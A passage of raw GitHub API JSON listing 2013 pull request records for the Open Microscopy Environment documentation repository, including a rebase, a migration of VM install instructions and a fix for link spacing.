/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/232","merged_at":"2013-01-29T21:32:59Z","merge_commit_sha":"2d3d61714b3bed58d0de65ea5d5eb5a4ee73e70b","created_at":"2013-01-24T17:09:14Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/232/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/232.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/232","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Rebase of https://github.com/openmicroscopy/ome-documentation/pull/230 from dev_4_4 to develop.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/232.diff","id":3823956,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"c91ecbb2eaae790ff37d5ba42bd87f34f183c51c","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/231/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/231"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/231"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/231"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/231/comments"}},"title":"Migrate the VM installation instructions to the Sphinx documentation","state":"closed","number":231,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/231","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:VM_install","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"f6550a0ef34121b7a5912cc98928964c645111aa","ref":"VM_install"},"assignee":null,"updated_at":"2013-02-02T21:21:49Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/231/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/231/commits","closed_at":"2013-02-02T21:21:49Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/231","merged_at":null,"merge_commit_sha":"8fe6d48e138e75b1ff353bfc5fec9477faa18f21","created_at":"2013-01-24T13:41:44Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/231/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/231.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/231","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"This PR moves the instructions located under docs/install/VM/README.txt in the main openmicroscopy repository to the documentation.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/231.diff","id":3820054,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"18ba8058a525f1e3c5bedf3c46b459e3e2b6e76a","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/230/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/230"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/230"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/230"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/230/comments"}},"title":"Remove extra spaces on build system links.","state":"closed","number":230,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/230","head":{"user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"label":"mtbc:small-typos","repo":{"forks":0,"svn_url":"https://github.com/mtbc/ome-documentation","merges_url":"https://api.github.com/repos/mtbc/ome-documentation/merges","languages_url":"https://api.github.com/repos/mtbc/ome-documentation/languages","assignees_url":"https://api.github.com/repos/mtbc/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/mtbc/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/mtbc/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/mtbc/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"open_issues":0,"updated_at":"2013-01-29T21:32:59Z","milestones_url":"https://api.github.com/repos/mtbc/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/mtbc/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/mtbc/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/mtbc/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/mtbc/ome-documentation/events","notifications_url":"https://api.github.com/repos/mtbc/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/mtbc/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/mtbc/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/mtbc/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/mtbc/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/mtbc/ome-documentation/collaborators{/collaborator}","full_name":"mtbc/ome-documentation","ssh_url":"git@github.com:mtbc/ome-documentation.git","pulls_url":"https://api.github.com/repos/mtbc/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/mtbc/ome-documentation/subscription","teams_url":"https://api.github.com/repos/mtbc/ome-documentation/teams","watchers":0,"created_at":"2012-10-23T10:27:15Z","git_url":"git://github.com/mtbc/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/mtbc/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/mtbc/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/mtbc/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/mtbc/ome-documentation/keys{/key_id}","size":268,"compare_url":"https://api.github.com/repos/mtbc/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/mtbc/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/mtbc/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/mtbc/ome-documentation/hooks","fork":true,"html_url":"https://github.com/mtbc/ome-documentation","master_branch":"develop","clone_url":"https://github.com/mtbc/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/mtbc/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/events{/number}","private":false,"id":6350485,"default_branch":"develop","pushed_at":"2013-01-29T08:26:06Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/mtbc/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/mtbc/ome-documentation/forks"},"sha":"442139924e1bcae862a8270da9c8e25efca8cbfa","ref":"small-typos"},"assignee":null,"updated_at":"2013-01-25T08:03:06Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/230/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/230/commits","closed_at":"2013-01-25T08:03:06Z","user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/230","merged_at":"2013-01-25T08:03:06Z","merge_commit_sha":"db2aea0141d33dfbf61fdec4e917a9cdb3a9c3b6","created_at":"2013-01-24T11:24:26Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/230/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/230.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/230","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"I noticed some leading spaces in hyperlinks. They seem to work fine without.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/230.diff","id":3818348,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment 